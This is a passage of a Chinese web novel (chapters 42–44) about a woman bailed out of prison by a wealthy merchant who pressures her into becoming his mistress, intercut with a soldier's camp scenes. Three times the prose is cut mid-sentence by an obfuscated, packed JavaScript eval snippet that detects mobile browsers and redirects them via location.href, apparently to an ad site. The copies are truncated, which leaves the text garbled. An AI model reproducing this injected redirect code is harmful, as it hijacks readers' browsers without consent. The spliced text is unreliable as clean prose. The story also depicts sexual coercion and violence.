鲜血喷溅在牢门上,两只瘦骨嶙峋的手维持着无比用力的最后一刻的姿态,就这样滚落在潮湿泥泞的地面,隐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15087967|161417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没在黑暗中。 贺岁愉瞳孔地震,胸腔中的心脏都停止了跳动。 那女人“啊啊——”地惨叫着,她两只手从被砍断的地方鲜血直流,失去双手,她没办法抓着任何地方了,最终还是被两个狱卒拖出去了。 牢里剩下的女犯人不知道是不是在牢里见的多了,比贺岁愉镇定许多,很快从惊吓中回过神来,低声议论被拖走的女人是犯了什么事进来的。 “她杀了她男人进来的。” “她男人把她往死里打,她实在忍不了了就反抗,结果她那酒鬼男人身板子脆的跟纸一样,她下手重了点,一不小心就把她男人打死了。” 独自靠在另一边墙角的贺岁愉听到她们沙哑的说话声,眼皮狠狠颤了颤。 地牢里光线昏暗,分不清外面是早上还是下午,只能凭意识胡乱地推测时间的流淌。 贺岁愉度秒如年,自那个女人被拖走以后,她原本沉在潭底的心再次变得无比焦灼。 她怎么办?她会不会跟那个女人落得个一样的下场?她会不会死? 只要一想到这个可能性,贺岁愉浑身的血液仿佛都凝固住了。 她不想死。 她想活。 不知道过去了多久, “哗啦哗啦——” 外面牢门的铁锁链碰撞在一起,发出刺耳的声响。 贺岁愉坐起身,她脸上伤口的血已经结了痂,但是脖子上的伤反而有越来越疼的趋势,抬头时牵动脖子,痛的她倒吸一口凉气。 狭长黑暗的通道里,狱卒领着一个纤瘦的身影进来,狱卒带着那人走到了贺岁愉所在的牢房门口,对那人说:“只有一炷香的时间。” 狱卒走后,贺岁愉才看到原本被狱卒挡住的人。 是她好几日未曾见过的小红。 贺岁愉被捉住以后,她知道一旦进了官府,自己身上的钱一分都留不住,所以当即摸出包袱里的二十两银子,悄摸塞给了一个年轻的官差,请他帮忙给荣昌巷刘府递一句话,求刘府的红姨娘来救救她。 贺岁愉心中清楚,她和小红的交情并没有到这个地步,而且她救小红那一次,小红也早就已经用四十两银子还回来了。 但是她实在走投无路、别无他法,只能死马当活马医,抓住这最后一根稻草了。 从昨日凌晨到现在,贺岁愉水米未进,早就已经没力气站起来了。 小红刚一走近,她迫不及待爬到牢门口,苍白干裂的嘴唇张合,声音嘶哑难听,“求求你救救我。” 小红清脆悦耳的笑声在黑暗的牢房中响起,“没想到这么快就轮到你求我了。” “你之前不是还很神气,瞧不上我么?”小红高高在上地仔细打量着贺岁愉如今落魄的模样。 “我没有,”贺岁愉苍白的辩解,“是我错了,求求你救救我。” “我哪有那个能耐啊?”小红把玩着手上刚涂的红指甲,慢悠悠地说,“不过我倒是知道一个人有这个本事。” 贺岁愉对上她的目光,瞬间就想到了她说的人。 小红脸上满是兴味:“你若是愿意,我可以试试替你牵线搭桥,不过人家现在愿不愿意要你,费劲捞你出来可就未必了。” “我愿意。”贺岁愉急切地回答,“劳烦你替我多说说好话。” “你早这样识趣,哪会出这起子晦气事儿!”小红冷嗤一声,语气傲慢地留下一句“等着吧”,然后就扭着身子离开了。 外面牢房的门打开关上的声音再次响起,贺岁愉的世界再次归于黑暗与沉静。 42.第 42 章 夜里, 随州城外, 呼啸的风声从空旷的营地刮过,卷起营帐上的猎猎旌旗,吹得呼啦作响。 一群膀大腰粗的壮汉们坐在营地前面,侃天侃地。 他们都是刚征来的新兵,其中极少部分是主动来投军的,还没有正式编进军队里。 这里面既有三四十岁的中年汉子,也有才十几岁的楞头青小子。 男人们说着说着,话题就跑到了女人身上,一个汉子讲述他在随州城花荫楼里睡过的姑娘。 “那皮肤白得跟雪一样,胸脯软得像是米糕一样,含进嘴里都能给含化喽!” “浑身都是香的,连水儿都是甜的,声音又娇又软,睡起来比家里的婆娘不晓得舒服多少倍!真叫人死在她身上也甘愿!”那汉子说着说着,吸了吸险些流出来的口水。 旁边的汉子也被他勾得心痒难耐,听到他吸口水的声音,一边数落着他一边大笑起来。 那个男人继续给周围人分享他的心得与经验:“不过,花荫楼还是太贵了,老子攒一个月银子才舍得去一次,平时去,还是去城西的三岔路巷子里。” “那儿的姑娘虽然比不上花荫楼的姑娘漂亮,但她们便宜多了,而且用起来不心疼。”男人笑声中透露出掩盖不住的淫邪,“扔二十个铜板,一晚上叫她们怎么伺候就怎么伺候,听话的很!把老子的家伙事含嘴里跟宝贝一样。” 另一个人附和他说:“就是啊,女人嘛,油灯吹灭了,下面不都长的一样?又不是金子银子做的,一晚上管老子要那么多钱!” 旁边的人笑他:“那你娶媳妇儿的时候,怎么知道要找好看的?” 十几岁的黑瘦小子耳朵都听红了,好奇地看着他们问:“睡女人真的有那么舒服吗?” 众人哈哈大笑起来。 “等你小子开了荤就晓得了。” “等你娶了媳妇儿,就晓得这其中的神仙滋味咯!” 还有汉子笑话他:“毛都没掉干净的小屁娃还想睡女人!” 黑瘦小子被笑话得不好意思,“又不止我一个人没娶媳妇儿!” 他脸色窘迫,见大家都笑他,都不知道看哪儿好,忽然发现了坐在一边的赵九重,于是指着赵九重说:“他肯定也没娶,他一直没说话。” 黑瘦小子想转移大家的注意力。 众人果然将目光落下了赵九重身上,开始调侃地看向赵九重。 赵九重坐在一边,原本并没有加入他们的谈话。 军营的生活枯燥乏味,底层士兵们聚在一起无非就谈论两件事,喝酒和睡女人,至于如何打仗以及天下形势,那是上头的人要考虑的事,普通人活着就已经很难了,过了今天不一定有明天,哪有那么多力气去思考其他的问题呢? 赵九重本来在想些其他的事情,想着河中的形势,还有李守贞接下来会如何部署,以及……偶尔会想到,贺岁愉如今孤身一人在复州过得好不好,会不会遇上危险。 忽然便听到那黑瘦小子将话引到了他身上。 有汉子果然问他:“兄弟,你娶媳妇了吗?” 赵九重摇了摇头,如实道:“没有。” “你看,我就说吧!”那黑瘦小子一下神气起来,为自己猜对了感到兴奋,“他刚刚那么沉默肯定是跟我一样!” 赵九重这次还真没法反驳,离家游历之前,他母亲本来是想要替他相看人家的,但是他想着,刚成婚他就要外出游历,要叫人家姑娘一直等着,所以干脆拒绝了母亲,说等他游历回家以后,再谈娶妻之事。 汉子们又一窝蜂地聊到别处去了,不过赵九重旁边忽然凑近了一个大哥,“小兄弟,你是哪儿的人啊?” “洛阳人。” “我听你口音就和我是一个地方的!”那大哥爽朗笑着说,“我是汝州人,离洛阳不远,我小时候还跟我爹一起去过洛阳呢!” 赵九重奇怪:“你是汝州人,那怎么大老远跑到随州来了?” “家里穷,好几个兄弟姊妹养不起,赋税年年加,我想着,跟我爹一样一辈子种地能有啥出息,所以就出来闯闯。” 赵九重笑起来,“我也是,和你一样的原因拜别父母,一路游历到复州,听说随州征兵,我就来了。” 两人的家乡离得近,一时谈论起洛阳和汝州一带的风土人情来,说完了洛阳和汝州,又谈论到河中的叛乱,以及当今的天下形势。 说到最后,大哥简直把赵九重引为知己,“我家里有个妹子,今年十七,赵兄弟既然还没有娶妻,不如干脆做我的妹婿好了!” 大哥说话直接,想到什么便快言快语。 赵九重连连摆手,“我如今一事无成,怎敢提成家之事?” “嗐——你看看我比你虚长几岁,家里孩子都两三个了,不一样还是一事无成么!这有什么的!” 赵九重再三表明自己现在还没有娶妻成家之心,但奈何大哥实在喜欢他,觉得与他一见如故,赵九重实在找不出什么不伤情分的拒绝理由了。 于是,他只好说:“多谢余大哥一番美意,但是小弟已有心悦之人。” 余大壮这才遗憾地收回了想叫赵九重做他妹婿的想法。 他大笑着说:“那就算了,既然做不成妹婿,那做兄弟也是一样的!” 赵九重笑着应是,再与余大壮重新谈天说地时,却有几份心不在焉。 他刚刚说自己有心悦的姑娘时,不知为何,脑子里,鬼使神差地竟然……闪过了贺岁愉的脸。 反应过来他想到了谁,赵九重自己都吓了一跳。 数日不见,也不知道她现在过得怎么样。 他离开时给她留了五两银子,按他的估计,她租完房子以后,节省一些,近一两个月的吃饭钱也是足够了。她又读过书识得字能算账,在复州找个活儿做,很容易就能维持生计。 想来,应该是过得不差吧。 赵九重频频失神,很快就被余大壮抓了个正着。 “赵兄弟,你想什么呢?”余大壮调侃他,“是不是在想你那个心悦之人?” 赵九重耳根发红,还没来得及说话,余大壮又替他担忧。 “你说你既喜欢人家姑娘,怎么也不先定下再来投军,在这军队里呆两年,人家姑娘兴许早就嫁人了,等你回去,人家孩子都抱在怀里了。” “这……她应该不会吧。” “怎么不会?即便她愿意等你她娘老子也要催她赶紧嫁人的!” “她爹娘不在身边。” “她和她兄嫂住?” “不,她一个人。” 余大壮是性情中人,见赵九重长得俊俏,又与赵九重说话投缘,便真心将赵九重当做弟弟。 听到赵九重如此说,他便替赵九重着急:“哎呀,那她一个人无依无靠,肯定更要嫁人找个靠山了!现在的世道这么乱,一个姑娘自己住那哪儿行啊!赵兄弟,你该早些跟人家姑娘定下来的!现在回洛阳也来不及了。” 说到最后,赵九重也失神片刻,开始怀疑起来。 她……会吗? 或许是他对于贺岁愉换回女装,是个姑娘这件事至今还没有完全接受,他想象不出来自己曾经出生入死的“兄弟”,会像余大壮所说,嫁给另一个男人然后生儿育女的模样。 莫名地,他也不想去想那个画面。 人的惯性大概很可怕。他和贺岁愉从沧州一路过来,上百个日日夜夜,朝夕与共,历经生死,现在变成他自己一个人,即便心志坚硬如磐石的赵九重,也会感到有点儿不适应,好像身边少了什么。 “她不在洛阳。”赵九重忽然说,“她在复州。” 他也不知道自己是出于何种心思说出了这句话,但是他就是说了,在他的心“怦怦——”直跳,跳得异常快的时候。 余大壮一拍手,“复州据此不过四五日距离,你若回去一趟,还能赶在征兵限期结束之前回来。” 赵九重抬眸看向余大壮,眼中划过一抹亮光,又很快陨落了。 他拒绝了余大壮的提议,“不,这不妥,家国大事面前,我岂可再醉心这些儿女情长的小事。” “嗨呀,你就是太年轻了,这又不冲突,你看那些打仗的将军们,还不是往府里抬一个又一个女人……” 余大壮的声音被呼啸的风声湮没。 夜里,赵九重突然梦到了贺岁愉。 她穿着红色的嫁衣朝他跑过来,他鬼使神差地张开了手,却眼睁睁地看着她穿过了他的身体跑过去,然后嫁给了一个陌生的男人。 赵九重从梦中惊醒。 看来,余大壮的话还是对他造成了不小的影响啊。 而且这似乎证明,贺岁愉其实对他的影响比他自己以为的要更大一些。 *** 贺岁愉在不见天日的黑暗地牢里无声祈祷了两天,终于在第三天迎来了曙光。 “哪一个是贺岁愉?”狱卒问。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15102502|161417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >贺岁愉从黑暗的角落里抬起头,连忙应声:“我,我是。” 狱卒打开牢房门的锁,“出来吧。” 贺岁愉见狱卒态度不算太差,心中猜想应该是她求小红的事情有着落了,忐忑的内心这才安定了几分。 其他人见狱卒叫贺岁愉出去,而且态度完全不像是要领贺岁愉出去开庭受审或者出去受罚的模样,于是有人壮着胆子问:“为什么她可以出去?” “对啊,为什么她可以出去!”有人率先问了,剩下的人也七嘴八舌地质问。 狱卒腰间的刀没出鞘,连带着刀鞘一起劈在锁链上,发出“砰——”的刺耳声音,“都老实点儿!” 狱卒从刀鞘中抽出雪白的刀刃,锃亮寒冷的刀露在外面一小半,寒光折射进众人眼里,犯人们这才安静下来。 她被狱卒带出去,双眼还没完全适应外面刺眼的光线,一个陌生的丫鬟打扮的姑娘快步走到她面前,“是贺姑娘吧?” 贺岁愉迟疑地点了点头。她唇色苍白,浑身也脏兮兮的,周身都是牢里潮湿腐烂的发霉气息。 丫鬟眼中半点不见嫌弃,见贺岁愉十分虚弱,主动过来扶着她的胳膊,语气温柔中带着恭敬:“奴婢是沈老爷派来的,姑娘叫我绿琴就好。” “马车就在那儿,姑娘可以上马车休息一会儿。”丫鬟一边说,一边扶着贺岁愉往马车边走。 贺岁愉在丫鬟的搀扶下爬上马车,看见矮几上有点心,眼睛都亮了,刚坐好就拿着一块点心往嘴里塞。 她在大牢里这几天饿坏了,就像回到沧州城的时候一样,整日整日地被饥饿折磨。 绿琴见贺岁愉吃得着急,连忙给贺岁愉倒了一杯茶水。 贺岁愉吃的着急,刚吃了一块就被噎着了,多亏了绿琴倒的茶水,她仰头一饮而尽,一连吃了五块糕点,喝了两杯茶水,贺岁愉才缓过来,觉得饿得火烧火燎胃终于缓和了一些。 她掀开帘子,看见了街道上密密麻麻的行人,街道两旁的小贩卖力吆喝着,闻到了混杂在人群中的食物香气,这才有一种自己重新活过来的真切感觉。 随着马车一路颠簸,街市上喧闹的声音在耳朵里渐渐融化成一片,贺岁愉迷迷糊糊在马车中昏睡过去,连马车停了都不知道。 直到听见绿琴唤她,“姑娘,到了。” 贺岁愉清醒过来,在绿琴的搀扶下从马车上跳下去,刚站好,一抬头就看见了两扇漆黑的木门。 绿琴去敲门,一个粗使婆子开了门,向站在绿琴身后的贺岁愉行了个礼。 粗使婆子端了个火盆出来放在大门中间。 贺岁愉疑惑不解,这是做什么。 绿琴转过身来,扶着贺岁愉进去,看见贺岁愉脸上的疑惑和惊讶,笑着说:“姑娘,来,跨个火盆去去牢里的晦气,姑娘是福运深厚之人,日后啊,肯定都过的是好日子。” 贺岁愉闻言便理解了,从火盆上跨过去。 那婆子端走火盆,绿琴扶着她进去。 贺岁愉心里知道,这座小宅子不是沈府,这应该是沈老爷在外面的宅子。他莫不是要自己给他当外室么? 既然已经跟沈老爷做了这个交易,贺岁愉也不会再想东想西,只要能好好地活下去,她没有那么多放不下的身段。 看那沈老爷的样子,家中定然妻妾不少,她给他当外室也好,省得进他的家门被他的妻妾欺负。 她心中有诸多猜测和诸多想法,但是面上半分不显,只静静地跟着绿琴进去安置。 绿琴领着贺岁愉穿过庭院,进了里面的院子,一个四十多岁的婆子在门口等着,向贺岁愉行礼:“给姑娘请安。” “这位是陆妈妈,是老爷派来照顾姑娘的。”绿琴向贺岁愉介绍道。 贺岁愉点点头,不大自在地应了声“好”。 苦命日子过久了,突然有一个丫鬟和一个婆子来贴身伺候她,她还真是不习惯得紧。 绿琴带着贺岁愉进去,“姑娘若有什么缺的,便与奴婢说,奴婢好替姑娘买来。” 贺岁愉看着这个相比于她以往住过的房间,完全称得上是“豪华”的房间,根本没有话说,她能缺什么东西,她都没住过这么好的屋子。 绿琴见贺岁愉脸色苍白,满脸疲惫,于是体贴地说:“厨房里烧着热水,姑娘可要先沐浴?” 贺岁愉早觉得身上的衣裳黏腻地贴在皮肤上难受了,听绿琴如此说,忙不迭应了。 绿琴便出去准备热水。 43.第 43 章 没过多久,绿琴和陆妈妈提着两桶热水进来倒在里间的浴桶里,两人反反复复跑了好几趟,终于才将浴汤准备好。 “姑娘,好了。”绿琴出来唤贺岁愉。 “好。”贺岁愉起身朝湢室走去。 她进了里间,脱了外衣搭在一旁的木架子上,绿琴跟进来伺候,贺岁愉里衣脱了一半儿,余光中看见身后的绿琴,吓了一跳,“你怎么没出去?” 绿琴回答:“我来伺候姑娘沐浴。” 贺岁愉倒吸一口凉气,干笑了一声,“不用了,你先出去吧,我自己来就行。” 她有手有脚的,做什么要别人帮忙洗澡。她脱的光溜溜的,叫人蹲在浴桶边看着,多尴尬。 “是。”绿琴应声出去了。 贺岁愉见她出去,这才脱光了衣裳,跨进浴桶,把自己泡在温暖的热水里,身体里的寒气渐渐被热水驱散,她打了个呵欠,开始犯困。 她洗完澡,穿着干净的单衣从湢室出来,径直爬上了床,钻进了干干净净的被窝里。 贺岁愉从未觉得有哪一刻,幸福感像现在这样充盈过。 因为之前在睡梦中被张石头掐脖子差点给掐死,她在牢里这几天几夜,就没有睡过一个好觉。周围的人太多,暗夜里的数十双眼睛,总让她觉得害怕和不安。 即便睡着了,又总是被那晚的场景吓醒。一会儿是张石头面目狰狞掐她脖子的模样,一会儿是张石头瞪着眼睛倒在血泊里被她砸死又死不瞑目的样子, 高度的精神紧绷一直持续到现在,在洗了个干干净净的热水澡以后,压在身体最深处的困倦和疲惫纷纷袭来。 她闭上眼睛,陷入沉睡。 *** 贺岁愉睡了个天昏地暗,再睁开眼时,天已经黑了。 她醒过来却没有动,静静地平躺在床上,看着床帐的顶部,回想起在暗无天日的大牢之中发生的种种,简直像是做了一场噩梦,不过还好她现在已经从这场噩梦中脱离出来了。 直到肚子饿得咕咕叫,她才从床上爬起来。 贺岁愉穿好衣服开了门,绿琴惊讶:“姑娘醒了,怎么不唤奴婢进去伺候?” “姑娘可要现在用晚膳?” 贺岁愉赶紧点了点头。 上午吃的那几块糕点根本不顶事,她早就饿了,若非是身体和精神实在疲惫,她肯定会先吃了饭再睡觉的。 晚膳一直在厨房备着,绿琴见贺岁愉一直睡着就没有叫醒她,只是让厨娘放在锅里一直热着。 很快,绿琴便拎着食盒回来了,她将食盒里的食物一一取出来放在桌子上,菜色很清淡,但是看起来味道很好,反正比大牢里猪食一般的吃食不知道好了几百倍。 “姑娘才从牢狱中出来,骤然吃得油腻了,恐要坏了肚子,先吃些清淡的过渡一下,姑娘明日想吃什么就吩咐奴婢,奴婢让厨娘去做。” 绿琴刚放完菜,贺岁愉拿起筷子就吃起来,她一连喝了两碗青菜白米粥,才觉得饥肠辘辘的肚子开始充盈起来,又吃了几筷子菜以后,她才放下筷子。 见贺岁愉吃完了,陆妈妈便收拾了碗筷。 贺岁愉百无聊赖,下午睡的时间太长,现下一点儿睡意也没有,于是让绿琴带着她在院子里四处逛一逛。 围墙边有一棵歪脖子桃花树,桃花早已经落了,绿色的桃树叶间掩映着一些拇指大小的青果儿。 这处院子并不大,没多长时间贺岁愉就逛完了,她百无聊赖坐在庭院里的摇椅上,后来绿琴被厨娘叫走,院子里就只剩下贺岁愉一个人。 不知为何,她脑子里忽然涌现出一个不合时宜的疑问。 她从这个院子里逃出去的可能性有多大? 她在这儿衣来伸手饭来张口,说实话,自从穿越过来以后,她就没过过这么舒坦的日子,但是这样的舒坦总让贺岁愉觉得惶恐不安。 她磨了磨牙,骂自己还真是个贱骨头,享不了福。 前院门口除了那个粗使婆子,还有两个年轻力壮的小厮守着,她忽然出去肯定会被拦下来。明目张胆走前门出去肯定行不通。 她的目光四处眺望,最终落在了歪脖子桃花树后面的围墙上。 墙后面大概是一条狭窄的巷子,这一处围墙虽然并不算太高,但是她即便踩在桃花树上翻过去也有些难度,而且绿琴和陆妈妈一直守在她身边,她有什么动静就立刻会被她们察觉。 贺岁愉正沉浸在自己的思绪中,想得认真。 忽然,她的眼前黑了,一双大手捂在了她的眼睛上。 对方掌心的温度很高,掌心的灼热传递到她的脸上,让贺岁愉有点不自在。 “绿琴?”贺岁愉疑惑不解,不懂绿琴为什么突然捂她眼睛。 等等——这双手…… 这双手这么大,是个男人的手! 贺岁愉心中一惊,吓了一跳,又想起之前张石头趁她睡着对她下手的可怕场景,心中不免惊慌,但是这双手只是捂在她的眼睛上,并没有其他的动作。 对方要是想做什么早就做了,绝对不会一直捂着她的眼睛却迟迟没有任何动作。 她惊慌一瞬以后,很快又镇定下来,试探性地问:“是……沈老爷么?” 那双大手从她的眼前松开,落在了她的头顶上。 贺岁愉听见身后男人的轻笑,“小绿姑娘很聪明。” 贺岁愉:“……”她感觉到了一种被硬夸的尴尬感。 这院子里一共就这么几个人,沈林调教下人的本事很厉害,这些人都对她恭敬有礼,绝不可能做出蒙着她眼睛这种行为。门口有小厮守着,旁人也进不来。那最有可能的,就只有这院子随时都有可能到访的主人了。 她下意识忽略了沈林这句夸她的话。 即便不忽略,她也接不上话啊,她总不能说你这老东西不会夸人别硬夸吧? 贺岁愉心中腹诽,面上却半分不显,只起身行礼,“多谢沈老爷救命之恩。” 沈林看着贺岁愉比前几日憔悴了几分的脸,拉过她的手,“小绿姑娘在牢里受苦了。” 贺岁愉感觉到他掌心的灼热温度,不只是被拉住的那只手,连带着整个身体都变得有点僵硬,但是她到底没有挣开,甚至还强迫自己尽量顺从。 她已经与沈林做了这一桩交易。 若是她刚从地牢里出来,就出尔反尔,沈林有办法把她捞出来,自然就有办法把她在送进去。 沈林捞她出来,肯定花了不少钱,她若不按照沈林的心意来,敢像之前在赵九重面前那样肆无忌惮口出狂言,后果…… 她一点也不想知道惹怒沈林的后果。 能将生意做这么大的人,绝对不会在她身上做亏本生意。虽然沈林目前还没有在她面前动过怒,但贺岁愉倒也没天真到,真以为他是个温柔大度的善心阿叔。 “小绿姑娘刚刚在看什么?”沈林问她。 贺岁愉觉得自己被他握住的那只手似乎在发烫,灼烧的她浑身都不自在,她朝围墙边努了努嘴,遮掩自己脸上表情的不自然,“在看那边的桃花树。” “桃花落了许久了,”沈林顺着她的目光看过去,“小绿姑娘有喜欢的花吗?” 贺岁愉被他拉着手老不自在,只听见了沈林的前半句, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15109755|161417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后半句话入耳未入心,点点头,张口便说:“对啊,再过不久就能吃桃子了。” 沈林忽然笑了。 他本来还想问她,需不需要让人添置一些其他的花草,但是听到贺岁愉的话以后,就觉得自己问的问题多余了,这丫头啊果然与其他美人不一样。 贺岁愉诧异地看向他,“你笑什么?” “小绿姑娘很可爱。”沈林说。 贺岁愉:“……”莫名其妙。 三岁一代沟,她跟这老东西之间隔着一个天堑吧? 她问城门楼子,他答胯骨肘子。 虽然他夸她,但她也是要在心里骂他的。 贺岁愉虽然很无语,但是还是给面子地对他的夸奖笑了一下。 沈林在摇椅上坐下,他躺在摇椅上闭上了眼睛。 “替我按一按头吧。”他说。 贺岁愉从来没给人按过,她也不会啊,她连头上有哪些穴位都搞不清,但是她如今寄人篱下,对方都这样说了,她也只能硬着头皮上。 她带着凉意的手指抚上他的头皮,她动作生疏极了,虽然力气不大,但是很明显是在瞎按。 “不会?”他尾音微微上扬。 贺岁愉嗯了一声。 她本来以为,沈林会叫她停下别按了的,结果沈林说:“既然不会按头,那便替我按一按肩膀吧。” 贺岁愉:“……”老东西真会享受,有丫鬟不用非得使唤她。 刚在心里骂了,贺岁愉转念一想,被他使唤着给他按摩肩膀,总比被他使唤着陪他上床睡觉来的好。 按肩膀比按头简单的多,即便贺岁愉仍然动作生疏,但是不会再想按头那样叫人难以忍受。 “力道再重些。”他吩咐。 “好。”贺岁愉应声,加大了手中的力道。 春天快要结束,天气早已经暖和了,夜里坐在庭院中也并不冷,穿庭的夜风拂过脸颊,反而让人觉得舒适。 沈林躺在躺椅上,闭着眼睛,感官变得格外清晰,感觉到肩膀上那只柔若无骨的小手,捏着他的肩膀,一张一合。 他少年风流时,最喜欢二十七八的成熟女人,尤其喜欢身姿丰腴,妩媚风骚的女人。如今年近不惑,却格外喜欢十七八岁的小姑娘,尤其喜欢身体已经发育成熟但是心思简单、犹如稚子至纯至性的姑娘。 他到这个岁数,贺岁愉的那点儿小心思,在他面前,犹如白纸一张。他当然能看得出贺岁愉对他的抵触,但他并不在意,他甚至有些享受这个逐渐征服她的过程。 以他的身家财力,睡女人实在是一件再简单不过的事情。可是让一个十七八岁的讨厌他的小美人发自内心爱上他,会让他觉得自己宝刀不老,仍然富有魅力。 按了好一会儿,贺岁愉手都酸了,正在心中骂骂咧咧时,沈林忽然开口:“好了,不按了。” 贺岁愉收回了手,双手背在背后,活动了下酸痛的手腕子。 沈林撑着躺椅两边坐起身来,“歇息吧。” 他说什么?是她理解的那个意思吗? 贺岁愉如遭雷击。 真是怕什么来什么。 早知道就不乌鸦嘴了,也不该在心里提这事儿。 绿琴不知什么时候守在了不远处,上前行礼,“老爷可要沐浴?” 沈林点了点头。 绿琴连忙吩咐小厮去备浴汤,沈林慢悠悠地走到屋子里时,浴桶里热水已经准备好了,袅袅热气从浴桶上方升腾飘散。 绿琴进去伺候沈老爷沐浴。 贺岁愉焦灼不安地坐在外面,两只手紧紧地扶在膝盖上。 44.第 44 章 该来的,总是要来的。 没过多久,沈林从里间出来,贺岁愉听见脚步声抬起头来,正好看见他穿着雪白的中衣走出来。 沈林走向床边。 贺岁愉咽了咽口水。 沈林察觉她站在桌子边没有动静,回过头来,似笑非笑地看了她一眼,“小绿姑娘。” 他脸上虽然带着笑容,但是眼底却是一片冰凉。 贺岁愉顿了一下。 她明白他的意思,抬起沉重的脚,慢慢朝床边走过去。 沈林坐在床边,贺岁愉刚走到床边就被他拉进了怀里,他的手落在她的腰带上,贺岁愉身子莫名抖了一下。 “我、我自己来。” 沈林收回了手。 贺岁愉把冰冷的双手放在腰间的腰带上,开始磨磨蹭蹭地解腰间的系带扣子,但是沈林坐在旁边等着她,她也不能拖延得太明显,所以很快就不得不解开了腰带。 她从来没有这么慢地脱过衣服,心中后悔,早知道今天早上应该穿厚一些,多穿几层的。 她慢慢将腰带放到一边,又磨磨蹭蹭去解腰间最外层的衣裳的系带。 “小绿姑娘是在故意拖延时间?”沈林的语气中已经有几分不太明显的不悦。 “没有,”贺岁愉听出他语气中的不虞,心中一凛,“我……我只是没穿过这么好的衣裳,所以不大会脱。” 她脑子转得快,勉强找出一个借口,虽然一听就觉得很生硬,但是好歹给了他们双方一个可以下来的台阶,不至于面上闹得太难看。 沈林笑了,“既然如此,那还是我来帮小绿姑娘吧。” “不……”贺岁愉想要拒绝,刚吐出一个音节,沈林的手已经不容置疑地伸到了她的腰间。 贺岁愉就像被毒舌缠上一样,身体瞬间紧绷起来。 沈林的手轻巧地拉着她腰间系带一扯,又一层衣服松开了,他的手放在了她的衣衿上。 贺岁愉紧张地咽了下口水。 这层衣裳再脱下去,她里面……就只剩下贴身穿着的中衣了。 她的心跳得异常的快。 即便再不想面对,她所惧怕的,也已经到了眼前。贺岁愉的心沉到了寒潭底部,在冰冷的寒潭水中战栗发抖。 沈林将她的衣裳脱下来,柔软的布料像水一样从她身上滑落,落在地上。 贺岁愉只着一件素色中衣,纤瘦柔软的身形展露无遗,沈林的目光直直落在她的身上,眼神一点点变得炙热。 贺岁愉有点儿害怕地闭上了眼睛,心中颇有几分视死如归之意。 跟谁睡不是睡,反正吹了蜡烛都一样。她只能如此安慰自己。 突然,外面传来的“笃笃笃——”的急促敲门声。 “老爷!” “老爷,码头的货物出了大事!” 沈林贴身小厮着急的声音从外面传来,听语气就是火烧眉毛的大事。 沈林的动作一顿。 贺岁愉眼睛一亮,又很快垂下眼皮,遮住了眼里的欣喜。 “你先退下。”沈林吩咐道。 “是。”贺岁愉捡起地上的衣裳还有另一边反着的腰带和外裳,快步去了里间湢室。 她刚进去,沈林便唤小厮进来。 那小厮低声和向沈林禀报了什么,沈林很快便快步离开了。 贺岁愉靠在里间的墙壁上,身子缓缓滑落下去,这惊心动魄的一晚上,终于结束了。 沈林离开,绿琴进来发现贺岁愉坐在地上,惊呼一声,“姑娘怎么坐在地上?” 贺岁愉爬起来,半真半假地解释说:“有点累,我就坐了会儿。” 贺岁愉本来下午睡得时间长,晚上并不困,但是现在却莫名有点儿身心俱疲,于是上床歇息了。 翌日, 她醒来时已经天光大亮。 在牢里耗费的元气太多,出来以后身体自己在进行自我修复,所以早上醒得迟了一些。 不过她如今一个人住在这个院子里,也没有人管她,除了担心沈林会随时到访以外,这地方简直舒坦极了。 她用过早膳以后,正准备在院子里走一走,突然一个年轻的美人从外面冲进来。 贺岁愉一脸懵。 “啪——”女人二话不说,上来就给了她一耳光。 “就是你这个贱人,勾得老爷昨儿个都没回家?”女人红着眼眶瞪着她。 贺岁愉蹙起眉头,半边脸火辣辣的疼,她可不是什么挨了打不还手的软包子,当即扬起手,狠狠一巴掌甩了回去。 “啪——”一声,比方才那女人扇她的那一巴掌还响亮。 女人捂着脸,不可思议地看着贺岁愉,“你敢打我?” 女人当即扑上来要打贺岁愉,“我打死你个不要脸的狐狸精,贱人!去死吧!” 贺岁愉怎么可能乖乖地站那儿让她打,她转身就跑,那女人便在身后追她,追不上就抄起庭院里的凳子砸了过去。 “姑娘小心!”绿琴大喊一声。 贺岁愉回头时,余光中正好看见她朝她扔凳子,反应灵敏地及时躲开了。 凳子“哐当——”一声砸在了地上,在石板上弹了几下,咕噜咕噜滚远了。 庭院里太小,贺岁愉到底跑不开,很快就被那女人追上了。 追上就追上吧,身形魁梧的壮汉她打不赢,一个和她身量差不多的女人她还打不过么? 贺岁愉其实也并不将这个女人放在眼里。 她心中已经猜到了,这女人恐怕是沈林府中得宠的妾室,不知怎的知道了她的存在,醋性大发,所以就找上门来了。 是对方主动上门找茬的,而且也是对方先动的手,即便她还手,沈林责问起来,她也有话说。 